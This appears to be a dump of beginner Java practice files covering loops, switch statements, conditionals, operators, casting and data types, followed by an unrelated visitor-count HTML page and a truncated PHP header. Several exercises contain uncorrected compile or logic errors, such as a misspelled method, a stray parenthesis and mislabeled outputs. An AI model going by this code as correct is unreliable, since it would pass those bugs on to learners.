        System.out.println("sum==" + sum);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        /*
         * Write a program to calculate the sum of 10 floating point numbers using for loop.
         */
        float sum = 0;
        for (int i = 1; i <= 10; i++) {
            sum = sum + i;// sum+=i
        }
        System.out.println("sum==" + sum);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        /*
         * write a program to calculate the sum of 10 floating point number.
         */
        Scanner input = new Scanner(System.in);
        float sum = 0, num;
        for (float i = 1; i <= 10; i++) {
            System.out.println("Enter any number:");
            num = input.nextFloat();
            sum = sum + num;
        }
        System.out.println("sum==" + sum);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        /*
         * write a program that that asking the user to input a positive integer.It
         * should than print the multiplication table of that number.
         */
        Scanner input = new Scanner(System.in);
        int num = input.nextInt();
        for (int i = 1; i <= 10; i++) {
            System.out.println(num + "*" + i + "=" + (num * i));
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        /* write a program to find the factorial value of any number */
        // !4=4*3*2*1=24
        // !5=5*4*3*2*1=120
        Scanner input = new Scanner(System.in);
        System.out.println("Enter any number:");
        int num = input.nextInt();
        int f = 1;
        for (int i = num; i >= 1; i--) {
            f = f * i;
        }
        System.out.println("factorial==" + f);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        /*
         * Write a program that enters 10 integer number from the user,and then prints
         * the sum of the even and odd integers
         */
        Scanner input = new Scanner(System.in);
        int num, sumEven = 0, sumOdd = 0, i = 0;
        while (i < 10) {
            System.out.println("Enter integer number:");
            num = input.nextInt();
            if (num % 2 == 0) {
                sumEven = sumEven + num;
            } else {
                sumOdd = sumOdd + num;
            }
            i++;
        }
        System.out.println("The sum of Even numbers==" + sumEven);
        System.out.println("The sum of Odd numbers==" + sumOdd);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        /*
         * Write a program that enters 10 integer number from the user,and then prints
         * the sum of the even and odd integers
         */
        Scanner input = new Scanner(System.in);
        int num, sumEven = 0, sumOdd = 0, i = 0;
        int countEven = 0, countOdd = 0;
        while (i < 10) {
            System.out.println("Enter integer number:");
            num = input.nextInt();
            if (num % 2 == 0) {
                countEven++;
            } else {
                countOdd++;
            }
            i++;
        }
        System.out.println("The sum of Even numbers==" + countEven);
        System.out.println("The sum of Odd numbers==" + countOdd);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        // 1+ 1/2 + 1/3 + 1/4 + 1\5 +.......1/n
        Scanner input = new Scanner(System.in);
        int num = input.nextInt();
        float sum = 0;
        for (int i = 1; i <= num; i++) {
            sum += 1.0 / i;
        }
        System.out.println("sum is=" + sum);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        float n, sum = 0.0f;
        for (int i = 1; i <= 10; i++) {
            System.out.println("Enter # " + i + " : ");
            n = input.nextFloat();
            sum += n;
        }
        float avg = sum / 10;
        System.out.println("Avg==" + avg);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        // Repetition control statament.
        // for loop.
        int c = 0;
        while (c < 5) {
            System.out.println(c);
            c++;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int c = 0;
        for (; c < 5;) {
            System.out.println(c);
            c++;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int c = 0; c < 5; c++) {
            System.out.println(c);
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int c = 0; c < 5; c++) {
            System.out.println(c);
        }
        System.out.println("c==" + c);//error
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int c = 0;
        for (; c < 5; c++) {
            System.out.println(c);
        }
        System.out.println("c==" + c);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int c = 2; c < 10; c = c + 2) {//c+=2
            System.out.println(c);
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int c = 2;
        for (; c < 10; c = c + 2) {
            System.out.println(c);
        }
        System.out.println(c);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 1; i < 10 && i % 2 == 0; ++i) {
            System.out.println(i);
            // i++;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 0, j = 0; i < 10 && j < 10; ++i, ++j) {
            if (i % 2 == 0 && j % 2 == 0) {
                System.out.println(i + " " + j);
            }
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 0, j = 0; i < 10 || j < 5; i++, j++) {
            System.out.println("i = " + i + "\t" + "j= " + j);
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 0, j = 0; i < 10 && j < 5; i++, j++) {
            System.out.println("i = " + i + "\t" + "j= " + j);
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        for (int i = 0, j = 0; i < 10 && j < 5; i++, j++) {
            System.out.println("i = " + i + "\t" + "j= " + j);
        }
    }
}



import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        // Repetition control statament.
        // for loop.
        int c = 0;
        while (c < 5) {
            System.out.println(c);
            c++;
        }
    }
}

import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int c = 0;
        do {
            System.out.println("java");
            c++;
        } while (c < 5);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int c = 0;
        do {
            System.out.println("java");
            c++;
        } while (false);
    }
}


import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        // g f d 6 i k i o q
        char letter = 'a';
        while (letter != 'q') {
            letter = input.next().charAt(0);
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        // g f d 6 i k i o q
        int c = 0;
        char letter = 'a';
        while (letter != 'q') {
            letter = input.next().charAt(0);
            ++c;
        }
        System.out.println("Count=" + c);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        char letter = 'a';
        int c = 0;
        boolean flag = true;
        while (flag) {
            letter = input.next().charAt(0);
            c++;
            if (letter == 'q') {
                flag = false;
            }
        }
        System.out.println("Count:" + c);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        float sum = 0;
        float grade = 0;
        int count = 0;
        while (grade != -1) {
            System.out.println("Enter grade #" + (count + 1) + ": ");
            grade = input.nextFloat();
            if (grade != -1) {
                sum += grade;
                count++;
            }
        }
        System.out.println("Avg==" + sum / count);
    }
}

import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        while (true) {//just take (true) or (false)
            System.out.println("hello ahmed");
        }
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int count = 1;
        while (count <= 5) {
            System.out.println("HI");
            count++;
        }
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int count = 1;
        while (count <= 5) {
            System.out.println("HI");
            ++count;
        }
        System.out.println("count = " + count);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int count = 5;
        while (count >= 1) {
            System.out.println("HI");
            count--;
        }
        System.out.println("count = " + count);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int count = 5;
        while (count >= 1) {
            System.out.println("HI");
            count = count - 2;//count-=2
        }
        System.out.println("count = " + count);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int count = 1;
        while (count <= 5) {
            System.out.println("Hi");
            // ++count;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int count = 1;
        while (count++ <= 5) {
            System.out.println("Hi #" + count);
            // ++count;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int count = 1;
        while (count++ <= 5) {
            System.out.println("Hi #" + count);
            // ++count;
        }
        System.out.println("count=" + count);
    }
}



import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int x = 2;
        switch (x) {
        case 1:
            System.out.println("case #1");
            break;
        case 2:
            System.out.println("case #2");
            break;
        case 3:
            System.out.println("case #3");
            break;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int x = 5;
        switch (x) {
        case 1:
            System.out.println("case #1");
            break;
        case 2:
            System.out.println("case #2");
            break;
        case 3:
            System.out.println("case #3");
            break;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int x = 5;
        switch (x) {
        case 1:
            System.out.println("case #1");
            // break;
        case 2:
            System.out.println("case #2");
            // break;
        case 3:
            System.out.println("case #3");
            // break;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int x = 2;
        switch (x) {
        case 1:
            System.out.println("case #1");
            // break;
        case 2:
            System.out.println("case #2");
            // break;
        case 3:
            System.out.println("case #3");
            // break;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int x = 1;
        switch (x) {
        case 1:
            System.out.println("case #1");
            // break;
        case 2:
            System.out.println("case #2");
            // break;
        case 3:
            System.out.println("case #3");
            // break;
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int x = 1;
        switch (x) {
        case 1:
            System.out.println("case #1");
            // break;
        case 2:
            System.out.println("case #2");
            // break;
        case 3:
            System.out.println("case #3");
            // break;
        default:
            System.out.println("It is not an option");
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int x = 5;
        switch (x) {
        case 1:
            System.out.println("case #1");
            break;
        case 2:
            System.out.println("case #2");
            break;
        case 3:
            System.out.println("case #3");
            break;
        default:
            System.out.println("It is not an option");
        }
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {

    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Play enter day#");
        int day=input.nextInt();
        switch(day){
            case 1:
            case 2:
            case 3:
            case 4:
            case 5:
            System.out.println("Weekday");
            break;
            case 6:
            case 7:
            System.out.println("Weekday");
            break;
            default:
            System.out.println("It is not an option");
        }
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Play enter day#");
        int day = input.nextInt();
        switch (day) {// byte,short,char,and int primitive data types.
        case 1:
        case 2:
        case 3:
        case 4:
        case 5:
            System.out.println("Weekday");
            break;
        case 6:
        case 7:
            System.out.println("Weekday");
            break;
        default:
            System.out.println("It is not an option");
        }
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter one of these operators:(*, /, %, +, -)");
        char c = input.next().charAt(0);
        int n1, n2;
        System.out.println("Enter n1:");
        n1 = input.nextInt();
        System.out.println("Enter n2:");
        n2 = input.nextInt();
        switch (c) {
        case '*':
            System.out.println("res=" + (n1 * n2));
            break;
        case '/':
            System.out.println("res=" + (n1 / n2));
            break;
        case '%':
            System.out.println("res=" + (n1 % n2));
            break;
        case '+':
            System.out.println("res=" + (n1 + n2));
            break;
        case '-':
            System.out.println("res=" + (n1 - n2));
            break;
        default:
            System.out.println("It is not an option");
        }
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter a letter:");
        char c = input.next().charAt(0);
        switch (c) {
        case 'a':
            System.out.println(c);
            break;
        case 'b':
            System.out.println(c);
            break;
        case 'c':
            System.out.println(c);
            break;
        default:
            System.out.println("It is not an option");
        }
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        System.out.println("Enter a letter:");
        char c = input.next().charAt(0);
        switch (c) {
        case 'a':
            System.out.println(c);
            System.out.println("Enter number:");
            int x = input.nextInt();
            if (x < 10) {
                System.out.println("hello ahmed");
            }
            break;
        case 'b':
            System.out.println(c);
            break;
        case 'c':
            System.out.println(c);
            break;
        default:
            System.out.println("It is not an option");
        }
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        switch(3){//switch no can use (n>50&&n<100)
            case 1:{
                break;
            }
            case 2+1:
            System.out.println("case 2+1");
            break;
            default:
            System.out.println("It is not an option"));
        }          
    }
}
import java.util.Scanner;
import javax.swing.SwingConstants;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        switch(50){//switch no can use (n>50&&n<100)
            case 1:{
                break;
            }
            case 100:
            case 50:
            System.out.println("case 2+1");
            break;
            default:
            System.out.println("It is not an option");
        }       
    }
}

import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        int mark;
        Scanner input=new Scanner(System.in);
        System.out.println("Enter your grade:");
        mark=input.nextInt();
        if(mark>=90){
            System.out.println("A");
        }
        else if(mark>=80){
            System.out.println("B");
        }
        else if (mark>=70) {
            System.out.println("C");
        }
        else if(mark>=60){
            System.out.println("D");
        }
        else{
            System.out.println("fail");
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int mark;
        System.out.println("Please Enter mark:");
        mark = input.nextInt();
        if (mark >= 90 && mark <= 100) {
            System.out.println("A");
        } else if (mark >= 80 && mark < 90) {
            System.out.println("B");
        } else if (mark >= 70 && mark < 80) {
            System.out.println("C");
        } else if (mark >= 60 && mark < 70) {
            System.out.println("D");
        } else {
            System.out.println("fail");
        }
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        boolean x = (5 > 4) || (10 < 5 * 5);
        System.out.println(x);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int y = 1, z;
        if (y == 1) {
            z = 2;
        } else {
            z = 5;
        }
        System.out.println(z);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int y = 1;
        int Z = y == 1 ? 2 : 5;
        System.out.println(Z);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int y = 1;
        int Z = y == 2 ? 2 : 5;
        System.out.println(Z);
    }
}
import java.util.Scanner;
public class Mohamed {

    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int mark;
        mark = input.nextInt();
        String r = (mark >= 90 && mark <= 100) ? "A"
                : (mark >= 80 && mark < 90) ? "B"
                : (mark >= 70 && mark < 80) ? "C" 
                : (mark >= 60 && mark < 70) ? "D":"fail";
        System.out.println(r);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int mark;
        mark = input.nextInt();
        String r = (mark >= 90 && mark <= 100) ? "A"
                : (mark >= 80 && mark < 90) ? "B"
                : (mark >= 70 && mark < 80) ? "C" 
                : (mark >= 60 && mark < 70) ? "D" : "fail";
        System.out.println(r);
        System.out.println(r instanceof String);
    }
}
import java.util.Scanner;
public class Mohamed {
    public static void main(String[] args) {
        Scanner input = new Scanner(System.in);
        int mark;
        mark = input.nextInt();
        String r = (mark >= 90 && mark <= 100) ? "A"
                 : (mark >= 80 && mark < 90) ? "B"
                 : (mark >= 70 && mark < 80) ? "C" 
                 : (mark >= 60 && mark < 70) ? "D" : "fail";
        System.out.println(r);
        System.out.println(r instanceof String);// test data type
        System.out.println(input instanceof Scanner);//test data type
    }
}

public class Ahmedjava {
    public static void main(String[] args) {
        int num = 10;
        if (num > 0) {
            System.out.println("positive number.");
        }
    }
}
public class Ahmedjava {
    public static void main(String[] args) {
        int num = -10;
        if (num > 0) {
            System.out.println("positive number.");
        }
    }
}
public class Ahmedjava {
    public static void main(String[] args) {
        int num = 5;
        if (num == 5) {
            System.out.println("number=5");
        }
        System.out.println("Ahmed");
        System.out.println("medo");
    }
}
public class Ahmedjava {
    public static void main(String[] args) {
        int num = 5;
        if (num == 4) {
            System.out.println("number=5");
        }
        System.out.println("Ahmed");
        System.out.println("medo");
    }
}
import java.util.Scanner;

public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int num = 0;
        System.out.println("Enter integer number:");
        num = in.nextInt();
        if (num == 4) {
            System.out.println("number = 4");
        }
    }
}
import java.util.Scanner;

public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int num = 0;
        System.out.println("Enter integer number:");
        num = in.nextInt();
        if (num == 4) {
            System.out.println("number = 4");
            System.out.println("Thinks");
        }
        System.out.println("A");
        System.out.println("B");
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int num = 0;
        System.out.println("Enter integer number");
        num = in.nextInt();
        if (num > 0) {
            System.out.println("Positive!");
        } else {
            System.out.print("Negative!");
        }
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int num = 0;
        System.out.println("Enter integer number");
        num = in.nextInt();
        if(num%2==0){
            System.out.println("Even");
        }
        else{
            System.out.println("Odd");
        }
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int num = 0;
        System.out.println("Enter integer number");
        num = in.nextInt();
        if (num % 2 == 0) {
            if (num > 10) {
                System.out.println("Even");
            }
        } else {
            System.out.println("Odd");
        }
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int num = 0;
        System.out.println("Enter integer number");
        num = in.nextInt();
        if (num % 2 == 0) {
            if (num > 10) {
                System.out.println("Even");
                System.out.println("and greater than 10");
            } else {
                System.out.println("Even");
                System.out.println("and less than 10");
            }
        } else {
            System.out.println("Odd");
        }
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int num = 0;
        System.out.println("Enter integer number");
        num = in.nextInt();
        if(num>10){
        System.out.println("greater than 10");}
        else if(num==10){
        System.out.println("equal 10");}
        else {
        System.out.println("less than 10");}
    }
}


public class MyProgram {
	public static void main(String[] args) {
		int f=10;
		System.out.println(f);
	}
}
import java.util.Scanner;
public class MyProgram {
	public static void main(String[] args) {
		Scanner in= new Scanner(System.in);
		System.out.println("Enter number");
		int f=in.nextInt();
		System.out.println("number=="+f);
	}
}
import java.util.Scanner;
public class MyProgram {
	public static void main(String[] args) {
		Scanner in = new Scanner(System.in);
		float n1, n2;
		System.out.println("Please enter the first number:");
		n1 = in.nextFloat();
		System.out.println("Plase enter the second number:");
		n2 = in.nextFloat();
		System.out.println("num1="+n1+"\n"+"num2="+n2);
	}
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        float n1, n2;
        System.out.println("Please enter the first number:");
        n1 = in.nextFloat();
        System.out.println("Plase enter the second number:");
        n2 = in.nextFloat();
        System.out.println("num1=" + n1 + "\n" + "num2=" + n2);
        String out1 = String.format("num1=%f num2=%f", n1, n2);
        System.out.println(out1);
        // System.out.printf("num1=%.2f num2=%f",n1,n2);
    }
}
import java.util.Scanner;

public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        System.out.println("Enter a value s:");
        String s = in.next();
        System.out.printf("s = %s", s);
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        System.out.println("Enter a value s:");
        String s = in.nextLinea();
        System.out.printf("s = %S", s);
    }
}
import java.util.Scanner;

public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        System.out.println("Enter a value s:");
        char s = in.next().charAt(0);
        System.out.printf("s=%s", s);
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int n1, n2;
        System.out.println("Enter num1:");
        n1 = in.nextInt();
        System.out.println("Enter num2:");
        n2 = in.nextInt();
        System.out.println("sum=" + (n1 + n2));//not n1+n2
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int n1, n2, sum;
        System.out.println("Enter num1:");
        n1 = in.nextInt();
        System.out.println("Enter num2:");
        n2 = in.nextInt();
        sum = n1 + n2;
        System.out.println("sum=" + sum);
    }
}
import java.util.Scanner;
public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int n1, n2, n3;
        System.out.println("Enter num1:");
        n1 = in.nextInt();
        System.out.println("Enter num2:");
        n2 = in.nextInt();
        System.out.println("Enter num3:");
        n3 = in.nextInt();
        System.out.println("Avg==" + (n1 + n2 + n3) / 3);

    }
}
import java.util.Scanner;

public class Ahmedjava {
    public static void main(String[] args) {
        Scanner in = new Scanner(System.in);
        int n1, n2, n3;
        System.out.println("Enter num1:");
        n1 = in.nextInt();
        System.out.println("Enter num2:");
        n2 = in.nextInt();
        System.out.println("Enter num3:");
        n3 = in.nextInt();
        System.out.println("Avg==" + (n1 + n2 + n3) / 3);

    }
}

public class MyProgram {
	public static void main(String[] args) {
		int x = 1;
		x++;//postfix/post(increment)
		System.out.println(x); 
		++x;//prefix/pre(increment)
		System.out.println(x);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 1;
		System.out.println("x==" + ++x);//prefix
		int y = 1;
		System.out.println("y==" + y++);//postfix
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 1;
		System.out.println("x=" + x++ +"*"+ ++x +"*"+ x++);
		System.out.println("x=" + x);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 1, y,z;
		y = x++;
		z=++x;      
		System.out.println("y="+y);
		System.out.println("x="+x);
		System.out.println("z="+z);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x=1,y;
		y=++x + x++;
		System.out.println("y=="+y);
		System.out.println("x=="+x);
	}
}

public class MyProgram {
	public static void main(String[] args) {
		int x = 1, y;
		y = (++x*2 + x++%2)/2;
		System.out.println("y==" + y);
		System.out.println("x==" + x);
	}
}
//the Assignment operators
public class MyProgram {
	public static void main(String[] args) {
		int k=5;
		k=k+10;//k+=10
		System.out.println("K=="+k);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		//Arithmetic Operators.
		//Relational Operators.
		//Bitwise,Logical,Assignment,Operators.
		//Miscellaneous Operators.
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x=10;
		System.out.println("x=="+x);
   }
}
public class MyProgram {
	public static void main(String[] args) {
		System.out.println(5+6*2);//17
        System.out.println(( 5 + 6 )*2);//22
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x=(5+6)*2;  
		System.out.println(x);
	}
}
//search operators precedence in java;
public class MyProgram {
	public static void main(String[] args) {
		int x = 5 * (2 * (2 + 1));
		//2+1=3
		//2*3=6
		//5*6
		System.out.println(x);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 5 * 2 / 2;//left to right
		System.out.println(x);
	}
}
public class MyProgram {
	public static void main(String[] args) { 
		System.out.println(2%5);
		System.out.println(5%5);
		System.out.println(6%5);
		System.out.println(7%5);
		System.out.println(8%5);
		System.out.println(9%5);
		System.out.println(10%5);
    }
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 2 % (5 + 5) * 3;
		System.out.println(x);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		/*byte short =short
		int int = int 
		int float = float
		float double = double 
		int float short double =double*/
	}
}
public class MyProgram {
	public static void main(String[] args) {
		System.out.println(15/2);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		System.out.println(15.0/2);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		System.out.println(15.0f/2);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x=9,y=2;
		System.out.println(x/y);  
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 9, y = 2;
		System.out.println((float) x / y);//Type casting
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 9, y = 2;
		System.out.println((float) x / y);//Type casting
		//Widening primitive conversions
		//Narrowing primitive conversions
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 9, y = 2;
		System.out.println( x / y);//Type casting
		// Widening primitive conversions
		// Narrowing primitive conversions
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x = 9, y = 2;
		System.out.println((int) x /  y);//Type casting
		// Widening primitive conversions
		// Narrowing primitive conversions
	}
}

	




public class MyProgram {
	public static void main(String[] args) {
		 int x=1;
		  System.out.println(x);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		byte x = -127;//127<_>-127
		System.out.println(x);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		short x = 32767; // -32768<_>32767
		System.out.println(x);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		short x = 10; 
		System.out.println("x="+x);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x;//can take 2147483647 value
		System.out.println(Integer.MAX_VALUE);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		int x;// can take -2147483648 value
		System.out.println(Integer.MIN_VALUE);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		float x = 2.5f;// can take 3.4028235E38 VALUE
		System.out.println(x);
		System.out.println(Float.MAX_VALUE);
		float y=2.1234567777f;
		System.out.println(y);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		double x = 2.123456789123456f;//1.79769331348623157E308;
		System.out.println(x);
		System.out.println(Double.MAX_VALUE);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		long x = 21474836488L;
		System.out.println(x);
		System.out.println(Long.MAX_VALUE);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		char x = 'A';// take just ' '
		System.out.println(x);
		System.out.println(Char.MAX_VALUE);//error cannot be resolved to variable
    }
}
public class MyProgram {
	public static void main(String[] args) {
		boolean x=false;
		System.out.println(x);
		boolean y=true;
		System.out.println(y);
	}
}
public class MyProgram {
	public static void main(String[] args) {
		String x = " Ahmed Abdelmoneim";
		System.out.println(x);
	}  
}
public class MyProgram {
	public static void main(String[] args) {
		byte BtoD = 0b1111111;
		System.out.println(BtoD);

	}

}


//Escape Sequences and Comments.
public class MyProgram {
    public static void main (String[] args) {
    	System.out.println("Ahmedmedo\"i love java and python\"");
    	System.out.println("Ahmedmedo\'i love java and python\'");
    	}
    	}
//Escape Sequences and Comments.
public class MyProgram {
    public static void main (String[] args) {
    	System.out.println("Ahmedmedo\"i love java and python\"");
    	System.out.println("Ahmedmedo\'i love java and python\'");
    	}
    	}
//Escape Sequences and Comments.
public class MyProgram {
    public static void main (String[] args) {
    	System.out.println("Ahmed\tmedo");//Tab
    	System.out.println("Ahmed\bmedo");//backspace
    	System.out.println("Ahmed\nmedo");//newline
    	System.out.println("Ahmed\rmedo");//carriage return.
    	System.out.println("Ahmed\fmedo");
    	System.out.println("Ahmed\'medo");
    	System.out.println("Ahmed\"medo");
    	System.out.println("Ahmed\\medo");
    	
    	
    	}
    	
    	}
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="css/style.css">
    <link rel="stylesheet" href="css/bootstrap.css">
    <title>Views Counts</title>
    <script src="https://unpkg.com/ionicons@5.4.0/dist/ionicons.js"></script>
</head>

<body>
    <br>
    <br>
    <h1 class="display-4 text-center text-white">Site Tracker</h1>
    <div class="container">
        <div class="card">
            <div class="container">
                <div class="card-header">
                    <h3>Visitor Views</h3>
                    <p>Last 30min</p>
                </div>
                <div class="card-body">
                    <h1 id="count">0</h1>
                </div>
            </div>
        </div>
        <div class="v-loc"></div>
    </div>

    <div class="loader-cont">
        <h3 class="text-white">Loading.......</h3>
        <div class="icon">
            <ion-icon name="cog-outline" class="ion"></ion-icon>
        </div>
    </div>

    <script src="view.js"></script>
    <script src="jquery.js"></script>
</body>

</html>
<?php 
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

